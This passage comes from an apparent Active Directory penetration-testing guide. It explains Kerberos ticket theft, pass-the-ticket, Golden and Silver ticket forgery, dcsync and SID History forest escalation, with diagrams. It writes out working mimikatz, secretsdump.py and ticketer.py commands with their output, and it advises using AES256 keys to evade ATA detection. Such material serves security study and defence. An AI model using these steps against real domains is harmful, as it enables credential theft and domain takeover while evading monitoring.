\/>\nHowever, it is also possible that tickets are stored in the <a href=\"https:\/\/man7.org\/linux\/man-pages\/man7\/keyrings.7.html\">Linux kernel keys<\/a><br \/>\ninstead of files, but you can grab them by using <a href=\"https:\/\/github.com\/TarlogicSecurity\/tickey\">tickey<\/a>.<\/p>\n<p>In order to be sure <a href=\"https:\/\/web.mit.edu\/kerberos\/krb5-1.12\/doc\/basic\/ccache_def.html\">where the tickets are stored<\/a> in a Linux machine, you can<br \/>\ncheck the <a href=\"https:\/\/web.mit.edu\/kerberos\/krb5-1.12\/doc\/admin\/conf_files\/krb5_conf.html\">Kerberos configuration file<\/a> in <code>\/etc\/krb5.conf<\/code>. The tickets are<br \/>\nstored in the <a href=\"https:\/\/web.mit.edu\/kerberos\/krb5-devel\/doc\/formats\/ccache_file_format.html\">ccache format<\/a> in Linux machines.<\/p>\n<p>To <a href=\"https:\/\/gist.github.com\/TarlogicSecurity\/2f221924fef8c14a1d8e29f3cb5c5c4a#using-ticket-in-windows\">use the tickets in a Windows<\/a> machine, you must inject them into the lsass<br \/>\nprocess, which can be done with <a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\/wiki\/module-~-kerberos#ptt\">mimikatz kerberos::ptt<\/a> command or <a href=\"https:\/\/github.com\/GhostPack\/Rubeus#ptt\">Rubeus ptt<\/a><br \/>\ncommand. These utilities read tickets in the krb format.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">PS C:&gt; .mimikatz.exe\n  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29\n .## ^ ##.  \"A La Vie, A L'Amour\" - (oe.eo)\n ## \/  ##  \/*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n ##  \/ ##       &gt; https:\/\/blog.gentilkiwi.com\/mimikatz\n '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )\n  '#####'        &gt; https:\/\/pingcastle.com \/ https:\/\/mysmartlogon.com ***\/\nmimikatz # kerberos::ptt pikachu-tgt.kirbi\n * File: 'pikachu-tgt.kirbi': OK<\/code><\/pre><figcaption>\nInject TGT into current Windows session<br \/>\n<\/figcaption><\/figure>\n<p>Once the tickets are injected into the session, you can use any tool to perform<br \/>\nactions by impersonating the user over the network, like <a href=\"https:\/\/docs.microsoft.com\/en-us\/sysinternals\/downloads\/psexec\">psexec<\/a>.<\/p>\n<p>In Linux, you can <a href=\"https:\/\/gist.github.com\/TarlogicSecurity\/2f221924fef8c14a1d8e29f3cb5c5c4a#using-ticket-in-linux\">use the tickets<\/a> with the <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/tree\/master\/examples\">impacket utilities<\/a> by pointing with<br \/>\nthe <code>KRB5CCNAME<\/code> environment variable to the ticket file. Then, use the impacket<br \/>\nutilities with the <code>-k -no-pass<\/code> parameters. Here, tickets in ccache format are<br \/>\nneeded.<\/p>\n<p>To convert tickets between krb (Windows) and ccache (Linux) format, you can use<br \/>\nthe <a href=\"https:\/\/github.com\/Zer1t0\/ticket_converter\">ticket_converter.py<\/a> script or <a href=\"https:\/\/gitlab.com\/Zer1t0\/cerbero#convert\">cerbero convert<\/a> command.<\/p>\n<h5 id=\"golden-silver-ticket\">\nGolden\/Silver ticket<\/h5>\n<p>In Active Directory, the Kerberos TGTs are encrypted with the <code>krbtgt<\/code> account<br \/>\nkeys. In case of knowing the keys, custom TGTs, known as <a href=\"https:\/\/en.hackndo.com\/kerberos-silver-golden-tickets\/#golden-ticket\">Golden Tickets<\/a>, can<br \/>\nbe created.<\/p>\n<p>To get the <code>krbtgt<\/code> keys, you need to access to the Active Directory<br \/>\ndatabase. You can do this by performing a remote <a href=\"https:\/\/adsecurity.org\/?p=1729\">dcsync attack<\/a>, with<br \/>\n<a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\/wiki\/module-~-lsadump#dcsync\">mimikatz lsadump::dsync<\/a> command or the <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/secretsdump.py\">impacket secretsdump.py<\/a> script, or by<br \/>\n<a href=\"https:\/\/www.ired.team\/offensive-security\/credential-access-and-credential-dumping\/ntds.dit-enumeration#no-credentials-ntdsutil\">dumping the NTDS.dit file<\/a> locally with <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2012-r2-and-2012\/cc753343(v=ws.11)\">ntdsutil<\/a> or <a href=\"https:\/\/docs.microsoft.com\/en-gb\/windows-server\/administration\/windows-commands\/vssadmin\">vssadmin<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"bash\">$ secretsdump.py 'contoso.local\/Administrator@192.168.100.2' -just-dc-user krbtgt\nImpacket v0.9.21 - Copyright 2020 SecureAuth Corporation\nPassword:\n[*] Dumping Domain Credentials (domainuid:rid:lmhash:nthash)\n[*] Using the DRSUAPI method to get NTDS.DIT secrets\nkrbtgt:502:aad3b435b51404eeaad3b435b51404ee:fe8b03404a4975e7226caf6162cfccba:::\n[*] Kerberos keys grabbed\nkrbtgt:aes256-cts-hmac-sha1-96:5249e3cf829c979959286c0ee145b7e6b8b8589287bea3c83dd5c9488c40f162\nkrbtgt:aes128-cts-hmac-sha1-96:a268f61e103134bb7e975a146ed1f506\nkrbtgt:des-cbc-md5:0e6d79d66b4951cd\n[*] Cleaning up...<\/code><\/pre><figcaption>\nkrbtgt keys retrieved with secretsdump.py<br \/>\n<\/figcaption><\/figure>\n<p>Likewise, it is possible to create a custom TGS for a service, known as<br \/>\n<a href=\"https:\/\/en.hackndo.com\/kerberos-silver-golden-tickets\/#silver-ticket\">Silver Ticket<\/a>, if we get the Kerberos keys of the service user.<br \/>\nThe keys for a service user can be obtained by looking into the <a href=\"#lsass-credentials\">lsass process<\/a> of<br \/>\nthe domain machines where the user is logged on, by performing <a href=\"#kerberoast\">Kerberoast<\/a>, by<br \/>\n<a href=\"#domain-database-dumping\">dumping the Active Directory database<\/a>, etc.<\/p>\n<p>In both Golden and Silver tickets, it is possible to create the ticket for any<br \/>\nuser in the domain, and even for non-existent ones. Moreover, we can give high<br \/>\nprivileges to the ticket user by modifying the PAC user groups and including, for<br \/>\nexample, the &#8220;Domain Admins&#8221; group in order to have the privileges of domain<br \/>\nadministrators.<\/p>\n<p>Additionally, we have to sign the ticket PAC with the <code>krbtgt<\/code> key, but this<br \/>\ncannot be done for Silver Tickets since we just know the user service key, here<br \/>\na fake signature is used, since is pretty weird for a service to validate with<br \/>\nthe DC the PAC signature.<\/p>\n<p>In order to create Golden and Silver Tickets, you can use the<br \/>\n<a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\/wiki\/module-~-kerberos#golden--silver\">mimikatz kerberos::golden<\/a> command or the <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/ticketer.py\">impacket ticketer.py<\/a> script. Then you<br \/>\ncan use them as any ticket. If you can, use the AES256 key to avoing<br \/>\n<a href=\"https:\/\/www.blackhat.com\/docs\/us-17\/thursday\/us-17-Mittal-Evading-MicrosoftATA-for-ActiveDirectory-Domination.pdf\">being detected by solutions like ATA<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ ticketer.py -domain-sid S-1-5-21-1372086773-2238746523-2939299801 -domain contoso.local Administrator -aes 5249e3cf829c979959286c0ee145b7e6b8b8589287bea3c83dd5c9488c40f162\nImpacket v0.9.21 - Copyright 2020 SecureAuth Corporation\n[*] Creating basic skeleton ticket and PAC Infos\n[*] Customizing ticket for contoso.local\/Administrator\n[*] \tPAC_LOGON_INFO\n[*] \tPAC_CLIENT_INFO_TYPE\n[*] \tEncTicketPart\n[*] \tEncAsRepPart\n[*] Signing\/Encrypting final ticket\n[*] \tPAC_SERVER_CHECKSUM\n[*] \tPAC_PRIVSVR_CHECKSUM\n[*] \tEncTicketPart\n[*] \tEncASRepPart\n[*] Saving ticket in Administrator.ccache<\/code><\/pre><figcaption>\nCreate golden ticket with ticketer.py<br \/>\n<\/figcaption><\/figure>\n<p>One thing to keep in mind is that once the ticket is created, is that this<br \/>\n<a href=\"https:\/\/passing-the-hash.blogspot.com\/2014\/09\/pac-validation-20-minute-rule-and.html\">must be used in 20 minutes<\/a>, otherwise the PAC information will be checked by the<br \/>\nKDC to verify that it is correct.<\/p>\n<p>Therefore, Silver Tickets can be used to access to one service and Golden<br \/>\nTickets can be used to access to any service in the domain\u2026 and more.<\/p>\n<h4 id=\"kerberos-across-domains\">\nKerberos Across domains<\/h4>\n<p>Golden Tickets can also be used to <a href=\"https:\/\/adsecurity.org\/?p=1640\">compromise the entire forest<\/a>. But, before<br \/>\ngoing any deeper into that, lets review how Kerberos works across trusted<br \/>\ndomains.<\/p>\n<p>As we have seen before, it is possible for an domain user to access to services<br \/>\ninto trusting domains (using incoming or bidirectionals <a href=\"#trusts\">trusts<\/a>). The process of<br \/>\naccesing external domain resources also requires authentication, that can be<br \/>\nprovided by Kerberos.<\/p>\n<p>However, a KDC (DC) only can issue TGSs for the services in its domain, so, how<br \/>\ndoes Kerberos works across domains? Well, it is necessary to ask for a TGS to<br \/>\nthe external domain DC server, and for that we require a TGT for that<br \/>\nserver. The TGT for an external KDC, known as inter-realm TGT, is issued by<br \/>\nour KDC when we ask for a TGS for a service in another domain. The steps are the<br \/>\nfollowing:<\/p>\n<figure>\n<pre>  KDC foo.com                                                    KDC bar.com\n    .---.                                                          .---.\n   \/   \/|                       .---4) TGS-REQ (TGT bar)-------&gt;  \/   \/|\n  .---. |                       |    + SPN: HTTPsrvbar          .---. |\n  |   | '                       |    + TGT client &gt; bar.com      |   | '\n  |   |\/                        |                                |   |\/ \n  '---'                         |   .--5) TGS-REP--------------&lt; '---'\n  v  ^                          |   | + TGS client &gt; HTTP\/srvbar\n  |  |                          |   |\n  |  |                          ^   v                                   .---.\n  |  '-2) TGS-REQ (TGT foo)--&lt;  _____                                  \/   \/|\n  |   + SPN: HTTPsrvbar       |     | &lt;----------1) SPNEGO---------&gt; .---. |\n  |   + TGT client &gt; foo.com   |_____|                                |   | '\n  |                            \/:::::\/ &gt;----6) AP-REQ---------------&gt; |   |\/\n  '--3) TGS-REP--------------&gt; client     + TGS client &gt; HTTP\/srvbar  '---'  \n    + TGT client &gt; bar.com    (foo.com)                               srvbar\n                                                                    (bar.com)\n<\/pre><figcaption>\nKerberos across domains<br \/>\n<\/figcaption><\/figure>\n<ol>\n<li>The client\/user, from the <code>foo.com<\/code> domain, uses SPNEGO to negotiate Kerberos<br \/>\nauthentication with the desired service, in this case HTTPsrvbar (a web<br \/>\nserver in the server srvbar) from the <code>bar.domain<\/code>.<\/li>\n<li>The client asks for a TGS, using its TGT of <code>foo.com<\/code>, for HTTPsrvbar to its<br \/>\nKDC, by sending a TGS-REQ message.<\/li>\n<li>The KDC identifies that this service is in the trusting domain <code>bar.com<\/code>.<br \/>\nSo the foo.com KDC <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-kile\/bac4dc69-352d-416c-a9f4-730b81ababb3\">creates a TGT for bar.com<\/a> by using as encryption (and PAC<br \/>\nsigning) key the <a href=\"#trust-key\">inter-realm trust key<\/a> (a secret key shared between both<br \/>\nsides of a trust). Then, the KDC returns the <code>bar.com<\/code> TGT in the TGS-REP<br \/>\nmessage. The PAC included in <code>bar.com<\/code> TGT <a href=\"https:\/\/dirkjanm.io\/active-directory-forest-trusts-part-one-how-does-sid-filtering-work\/#from-a-to-b-whats-in-a-pac\">is a copy<\/a> of the <code>foo.com<\/code> TGT<br \/>\nPAC.<\/li>\n<li>The client uses the <code>bar.com<\/code> TGT to ask for a HTTPsrvbar TGS to the<br \/>\n<code>bar.com<\/code> KDC, by sending a TGS-REQ message.<\/li>\n<li>The <code>bar.com<\/code> KDC checks the ticket by decrypting it with the inter-realm trust<br \/>\nkey. Then it creates a TGS for HTTPsrvbar for the client. When the new TGS<br \/>\nis created, the PAC from the TGT is copied and <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-pac\/55fc19f2-55ba-4251-8a6a-103dd7c66280\">filtered<\/a> if necessary. Usually,<br \/>\nextra SIDs that are not part of the forest of the trusted domain <a href=\"https:\/\/dirkjanm.io\/active-directory-forest-trusts-part-one-how-does-sid-filtering-work\/#golden-tickets-and-sid-filtering\">are removed<\/a>.<\/li>\n<li>Finally, the client uses the TGS to authenticate itself against the<br \/>\nHTTPsrvbar service.<\/li>\n<\/ol>\n<p>One thing that is curious is that, normally, the inter-realm TGTs are encrypted<br \/>\nusing the RC4 algorithm instead of AES256.<\/p>\n<h5 id=\"sid-history-attack\">\nSID History attack<\/h5>\n<p>What it is interesting about this process is the way that the PAC is copied<br \/>\nbetween tickets on an inter-domain interaction. This behaviour can allow to an<br \/>\nattacker able to craft Golden Tickets for a domain<br \/>\n<a href=\"https:\/\/adsecurity.org\/?p=1640\">to compromise the entire forest<\/a>.<\/p>\n<p>As we seen before, the <a href=\"#pac\">PAC<\/a> has a field to include extra <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-dtyp\/78eb9013-1c3a-4970-ad1f-2b1dad588a25\">SIDs<\/a>, that identifies<br \/>\nspecial entities. This field is usually used to include those SIDs stored in the<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/es-es\/windows\/win32\/adschema\/a-sidhistory\">SIDHistory<\/a> attribute.<\/p>\n<p>The SID History is used for migration purposes. When a user is migrated from a<br \/>\ndomain to another, the privileges of the user are reset, a new SID is created,<br \/>\nthe user is added to new groups, etc. However the SIDs from the groups the user<br \/>\nbelongs in the old domain are stored in the SID History attribute.<\/p>\n<p>Then, when the user want to access to resources in the old domain, their history<br \/>\nSIDs are added to the PAC extra SIDs field. This way, the old domain can review<br \/>\nthese SIDs and to grant the user their old privileges, allowing it to access the<br \/>\nold domain resources.<\/p>\n<p>However, the extra SIDs could be omitted (not copied into TGS PAC) based on the<br \/>\n<a href=\"https:\/\/dirkjanm.io\/active-directory-forest-trusts-part-one-how-does-sid-filtering-work\/\">SID filtering<\/a> policy. Generally, the <strong>domains allows the SIDs from other domains<br \/>\nin the forest<\/strong> (by default), but <strong>discard extra SIDs from external forests<\/strong><br \/>\nfollowing the <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-pac\/55fc19f2-55ba-4251-8a6a-103dd7c66280\">ForestSpecific<\/a> rule, since the forest is the security boundary of<br \/>\nActive Directory.<\/p>\n<p>Additionally, <strong>domains of the same forest also can be quarantined<\/strong>, thus<br \/>\nremoving the extra SIDs by applying the <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-pac\/55fc19f2-55ba-4251-8a6a-103dd7c66280\">QuarantinedWithinForest<\/a> policy.<\/p>\n<p>In contrast, the <a href=\"https:\/\/dirkjanm.io\/active-directory-forest-trusts-part-one-how-does-sid-filtering-work\/#sid-filtering-relaxation\">SID history can be enabled<\/a> in a trust between domains of<br \/>\ndifferent forests with some limitations. The groups with SIDs of the target<br \/>\n(trusting) forest whose <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-pac\/f2ef15b6-1e9b-48b5-bf0b-019f061d41c8#gt_df3d0b61-56cd-4dac-9402-982f1fedc41c\">RID<\/a> is higher than 1000 are allowed. Hence, the<br \/>\nadministrative groups like &#8220;<a href=\"https:\/\/adsecurity.org\/?p=3658\">Domain Admins<\/a>&#8221; (RID = 512) whose RID lower than 1000<br \/>\nare filtered, but groups with a higher RID that belongs to those administrative<br \/>\ngroups (becoming also administrative groups), such as the Exchange<br \/>\nadministrative groups.<\/p>\n<p>Then, if the SID History is edited, administrative privileges for other domains<br \/>\ncould be injected. For example, if you inject the <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2003\/cc756898(v=ws.10)\">Enterprise Admins<\/a> SID in a<br \/>\nuser SID History, then the user could have administrative privileges in the<br \/>\nentire forest.<\/p>\n<p>The SID History attribute <a href=\"https:\/\/adsecurity.org\/?p=1772\">can be edited directly<\/a> in the Active Directory<br \/>\ndatabase by using the <a href=\"https:\/\/book.hacktricks.xyz\/windows\/stealing-credentials\/credentials-mimikatz#sid\">mimikatz misc::addsid<\/a> command.<\/p>\n<p>However, as we said before, the SID History is copied to the PAC of the TGT, so<br \/>\nif we can craft a Golden Ticket, we can inject the History SIDs we want directly<br \/>\ninto the PAC extra SIDs attribute. Then, when we use this &#8220;Golder&#8221; ticket, its<br \/>\nPAC is copied into the inter-realm TGT. Afterwards, when using this inter-realm<br \/>\nTGT to get a TGS for a service in the external domain, if this domain is in the<br \/>\nsame forest, the privileged SIDs could be copied into the TGS PAC, thus granting<br \/>\nus the privileges that we have initially injected in the Golder ticket.<\/p>\n<p>An interesting SID to inject is the one of the &#8220;<a href=\"https:\/\/adsecurity.org\/?p=3658\">Enterprise Admins<\/a>&#8220;, this group<br \/>\nonly exists in the root domain of the forest and by default is added as member<br \/>\nof all &#8220;Domain Admins&#8221; groups of all domains in the forest.<\/p>\n<p>Actually, if you compromise the root forest of the domain and create a Golden<br \/>\nticket that includes the &#8220;Enterprise Admins&#8221; group (which RID is 519 and is<br \/>\nincluded by default for impacket and mimikatz), you don&#8217;t need to create a<br \/>\nGolder ticket with extra SIDs, since you already have permissions to control all<br \/>\nthe forest, even the quarantined domains (cause there is no extra SIDs to<br \/>\nfilter). Adding &#8220;Enterprise Admins&#8221; to the extra SIDs is only neccesary if you<br \/>\ncompromise a non-root domain and you want to compromise another domain of the<br \/>\nforest, except the quarantined domains that filter the extra SIDs.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"cmd\">PS C:&gt; .mimikatz.exe\n  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29\n .## ^ ##.  \"A La Vie, A L'Amour\" - (oe.eo)\n ## \/  ##  \/*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n ##  \/ ##       &gt; https:\/\/blog.gentilkiwi.com\/mimikatz\n '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )\n  '#####'        &gt; https:\/\/pingcastle.com \/ https:\/\/mysmartlogon.com ***\/\nmimikatz # sekurlsa::krbtgt\nCurrent krbtgt: 5 credentials\n         * rc4_hmac_nt       : 1bf960a6af7703f75b1a2b04787c85fb\n         * rc4_hmac_old      : 1bf960a6af7703f75b1a2b04787c85fb\n         * rc4_md4           : 1bf960a6af7703f75b1a2b04787c85fb\n         * aes256_hmac       : 8603210037f738c50120dbe0f2259466fd4fdd1d58ec0cf9ace34eb990c705a3\n         * aes128_hmac       : 204be93d3c18326bf0e6675eb0a32202\nmimikatz # kerberos::golden \/admin:Administrator \/domain:it.poke.mon \/sid:S-1-5-21-1913835218-2813970975-3434927454 \/sids:S-1-5-21-4285720809-372211516-2297741651-519 \/aes256:8603210037f738c50120dbe0f2259466fd4fdd1d58ec0cf9ace34eb990c705a3 \/ptt \/groups:512,520,572\nUser      : Administrator\nDomain    : it.poke.mon (IT)\nSID       : S-1-5-21-1913835218-2813970975-3434927454\nUser Id   : 500\nGroups Id : *512 520 572\nExtra SIDs: S-1-5-21-4285720809-372211516-2297741651-519 ;\nServiceKey: 8603210037f738c50120dbe0f2259466fd4fdd1d58ec0cf9ace34eb990c705a3 - aes256_hmac\nLifetime  : 5\/13\/2021 9:36:28 AM ; 5\/11\/2031 9:36:28 AM ; 5\/11\/2031 9:36:28 AM\n-&gt; Ticket : ** Pass The Ticket **\n * PAC generated\n * PAC signed\n * EncTicketPart generated\n * EncTicketPart encrypted\n * KrbCred generated\nGolden ticket for 'Administrator @ it.poke.mon' successfully submitted for current session<\/code><\/pre><figcaption>\nPass-The-Ticket with Enterprise Admins in extra SIDs<br \/>\n<\/figcaption><\/figure>\n<p>However, to perform a <a href=\"http:\/\/www.harmj0y.net\/blog\/redteaming\/mimikatz-and-dcsync-and-extrasids-oh-my\/\">dcsync attack in other domain<\/a>, maybe using the &#8220;Enterprise<br \/>\nDomain Controllers&#8221; (S-1-5-9) and &#8220;Domain Controllers&#8221; (S-1-5-21-domain-516)<br \/>\ngroups SIDs is more stealth, since DC are the ones that normally perform the<br \/>\nsynchronization rutines used in dcsync.<\/p>\n<p>To create &#8220;Golder&#8221; Tickets, you can use the <a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\/wiki\/module-~-kerberos#golden--silver\">mimikatz kerberos::golden<\/a> command or<br \/>\nthe <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/ticketer.py\">impacket ticketer.py<\/a> script, similar to golden ticket creation but adding<br \/>\nextra SIDs. If you can, use the AES256 key to avoing <a href=\"https:\/\/www.blackhat.com\/docs\/us-17\/thursday\/us-17-Mittal-Evading-MicrosoftATA-for-ActiveDirectory-Domination.pdf\">being detected by solutions<br \/>\nlike ATA<\/a>.<\/p>\n<h5 id=\"inter-realm-tgt\">\nInter-realm TGT<\/h5>\n<p>As we have seen, the use of Kerberos for inter-realm operations introduces a new<br \/>\nkind of TGT, the inter-realm TGT. This TGT is exactly like a normal one, except<br \/>\nthat it is encrypted with the inter-realm trust key, which is a secret key that<br \/>\nallows to both sides of a trust to comunicate between them. The secret key is<br \/>\nstored as the key of an <a href=\"#trust-accounts\">user account that represents the trust<\/a>.<\/p>\n<p>In order to get the inter-realm trust key, usually you need <a href=\"#domain-database-dumping\">to dump the domain<br \/>\ndatabase<\/a>. Moreover, there is one situation when you could get the trust-key<br \/>\n<a href=\"https:\/\/blog.xpnsec.com\/inter-realm-key-roasting\/\">through Kerberoast<\/a>.<\/p>\n<p>When a trust is created, the password can be choosen by a person, so<br \/>\nthere is the possibility that a weak password is set. Then, you can get a<br \/>\ninter-realm TGT encrypted with the trust key and try to crack then to get the<br \/>\ntrust password (which is used to generate all the Kerberos trust keys). But<br \/>\nremember that trust password, as well as machine passwords, are usually changed<br \/>\neach 30 days.<\/p>\n<p>Finally, once you get the trust key, to <a href=\"https:\/\/adsecurity.org\/?p=1588\">create a inter-realm ticket<\/a>, you can use<br \/>\nthe <a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\/wiki\/module-~-kerberos#golden--silver\">mimikatz kerberos::golden<\/a> command or the <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/ticketer.py\">impacket ticketer.py<\/a> script. Then<br \/>\nyou can use it as any ticket. The inter-trust tickets are encrypted with the RC4<br \/>\nkey, that is, the NT hash of the trust account.<\/p>\n<h4 id=\"kerberos-delegation\">\nKerberos Delegation<\/h4>\n<p>As we have seem, Kerberos allows users to authenticate and access service all<br \/>\nover the domain, or even in other domains. However, sometimes the accessed<br \/>\n<a href=\"https:\/\/en.hackndo.com\/constrained-unconstrained-delegation\/#delegation-principle\">services needs to impersonate the user<\/a> in order to talk with a third service.<\/p>\n<p>For example, a web server where the user is logged (with Kerberos) needs to<br \/>\nperform some activities in a database on behalf the user. However, when the user<br \/>\nauthenticates against the web server, this only receives user TGS for itself, but<br \/>\nto impersonate the user, it also requires a user TGS for the database service.<\/p>\n<p>To handle this situation, Kerberos Delegation can be used. This feature provides<br \/>\nmechanisms to allow a service to get a TGS for a third service on behalf of the<br \/>\nclient.<\/p>\n<p>To perform Kerberos Delegation in Active Directory, there are two approaches:<\/p>\n<dl>\n<dt>\nUnconstrained Delegation<\/dt>\n<dd>Implies to send the user TGT inside the TGS to the<br \/>\nservice, allowing it to totally impersonate the client against the KDC,<br \/>\nby using the client TGT.<\/dd>\n<dt>\nConstrained Delegation<\/dt>\n<dd>Provides mechanisms, the <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-sfu\/3bff5864-8135-400e-bdd9-33b552051d94\">Service for User<\/a> (S4U)<br \/>\nextensions, that allow a service to request a TGS on behalf of an user<br \/>\nwithout need to use the client TGT, and only for a certain allowed<br \/>\nservices.<\/dd>\n<\/dl>\n<p>Let&#8217;s talk about <a href=\"https:\/\/www.tarlogic.com\/en\/blog\/kerberos-iii-how-does-delegation-work\/\">how Kerberos delegation works<\/a>. But first, lets review the<br \/>\nanti-delegation measures that prevents the delegation from working.<\/p>\n<h5 id=\"kerberos-anti-delegation-measures\">\nKerberos Anti Delegation Measures<\/h5>\n<p>There are two mechanism available to avoid that an specific user account can be<br \/>\ndelegated (impersonated in Kerberos):<\/p>\n<ul>\n<li>Setting the NOT_DELEGATED flag in the <a href=\"https:\/\/docs.microsoft.com\/en-us\/troubleshoot\/windows-server\/identity\/useraccountcontrol-manipulate-account-properties\">UserAccountControl<\/a> attribute of the user<br \/>\naccount.<\/li>\n<li>Adding the user to the <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2012-R2-and-2012\/dn466518(v=ws.11)\">Protected Users<\/a> group.<\/li>\n<\/ul>\n<p>In any of this measures are applied to an user account, the delegation won&#8217;t<br \/>\nbe possible. Therefore it is important to know what accounts are protected, and<br \/>\nto locate them you can use a LDAP query with the following filter:<\/p>\n<figure>\n<pre><code data-lang=\"ldap\">(|\n  (memberof:1.2.840.113556.1.4.1941:=CN=Protected Users,CN=Users,DC=&lt;domain&gt;,DC=&lt;dom&gt;)\n  (userAccountControl:1.2.840.113556.1.4.803:=1048576)\n)<\/code><\/pre><figcaption>\nLDAP filter to retrieve accounts protected against delegation<br \/>\n<\/figcaption><\/figure>\n<p>In order to find delegation protected accounts you can use tools like <a href=\"https:\/\/github.com\/EmpireProject\/Empire\/blob\/master\/data\/module_source\/situational_awareness\/network\/powerview.ps1\">Powerview<\/a>,<br \/>\nthe <a href=\"https:\/\/docs.microsoft.com\/en-us\/powershell\/module\/addsadministration\/?view=win10-ps\">Powershell ActiveDirectory module<\/a> or <a href=\"https:\/\/linux.die.net\/man\/1\/ldapsearch\">ldapsearch<\/a>.<\/p>\n<h5 id=\"kerberos-unconstrained-delegation\">\nKerberos Unconstrained Delegation<\/h5>\n<p>In <a href=\"https:\/\/adsecurity.org\/?p=1667\">Kerberos Unconstrained Delegation<\/a> the service can impersonate the client user<br \/>\nsince this sends its own TGT to the service. Then, the service can use the user<br \/>\nTGT (without any constrain) to ask for new TGSs for other services in behalf of<br \/>\nthe client.<\/p>\n<p>The KDC set the <a href=\"https:\/\/tools.ietf.org\/html\/rfc4120#section-2.8\">OK-AS-DELEGATE<\/a> flag in the TGS for any service whose owner, the<br \/>\nservice user, has the <a href=\"https:\/\/docs.microsoft.com\/en-us\/troubleshoot\/windows-server\/identity\/useraccountcontrol-manipulate-account-properties\">UserAccountControl<\/a> TRUSTED_FOR_DELEGATION flag set. By<br \/>\nchecking the <a href=\"https:\/\/tools.ietf.org\/html\/rfc4120#section-2.8\">OK-AS-DELEGATE<\/a> and the <a href=\"https:\/\/tools.ietf.org\/html\/rfc4120#section-2.6\">FORWARDABLE<\/a> flags a client knows if it<br \/>\nshould ask for a TGT to be sent to the target service in order to allow<br \/>\nunconstrained delegation.<\/p>\n<p>In the case of clients that are members of <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2012-R2-and-2012\/dn466518(v=ws.11)\">Protected Users<\/a> group or has the<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/troubleshoot\/windows-server\/identity\/useraccountcontrol-manipulate-account-properties\">UserAccountControl<\/a> NOT_DELEGATED flag set, then the <a href=\"https:\/\/tools.ietf.org\/html\/rfc4120#section-2.6\">FORWARDABLE<\/a> flag is unset<br \/>\nin the TGS.<\/p>\n<p>Moreover, to set the TRUSTED_FOR_DELEGATION flag in a user account, the<br \/>\n<a href=\"https:\/\/www.harmj0y.net\/blog\/activedirectory\/the-most-dangerous-user-right-you-probably-have-never-heard-of\/\">SeEnableDelegationPrivilege<\/a> is required.<\/p>\n<p>Let&#8217;s view an example:<\/p>\n<figure>\n<pre>                                    KDC (DC)\n .-----------1) TGS-REQ-------------&gt; .---. &lt;--------6) TGS-REQ-------------.\n |         + SPN: HTTP\/websrv        \/   \/|     + SPN: MSSQLSvc\/dbsrv       |\n |         + TGT client             .---. |     + TGT client - FORWARDED    |\n |                                  |   | '                                 |\n |  .--------2) TGS-REP-----------&lt; |   |\/ &gt;--------7) TGS-REP-----------.  |\n |  |  + TGS client &gt; HTTP\/websrv   '---'  + TGS client &gt; MSSQLSvc\/dbsrv |  |\n |  |    - OK-AS-DELEGATE           ^   v                                |  |\n |  |    - FORWARDABLE              |   |                                |  |\n ^  v                               |   |                                |  |\n  _____                             |   |                                |  |\n |     | &gt;-----3) TGS-REP-----------'   |                                |  |\n |_____|  + SPN: krbtgt\/domain.local    |                                |  |\n \/:::::\/  + TGT client                  |                                |  |\n ------                                 |                                |  |\n client  &lt;-----4) TGS-REP---------------'                                |  |\n   v        + TGT client - FORWARDED                                     v  ^\n   |                                                                    .---.\n   |                                                                   \/   \/|\n   |                                                                  .---. |\n   '----------------------------5) AP-REQ---------------------------&gt; |   | '\n                          + TGS client &gt; HTTPwebsrv                  |   |\/\n                          + TGT client - FORWARDED                    '---'\n                                                                      websrv\n                                                                       v\n                                  .---.                                |\n                                 \/   \/|                                |\n                                .---. | &lt;--------8) AP-REQ-------------'\n                                |    | '   + TGS client &gt; MSSQLSvcdbsrv\n                                |    |\/\n                                '---'\n                                dbsrv\n<\/pre><figcaption>\nUnconstrained delegation 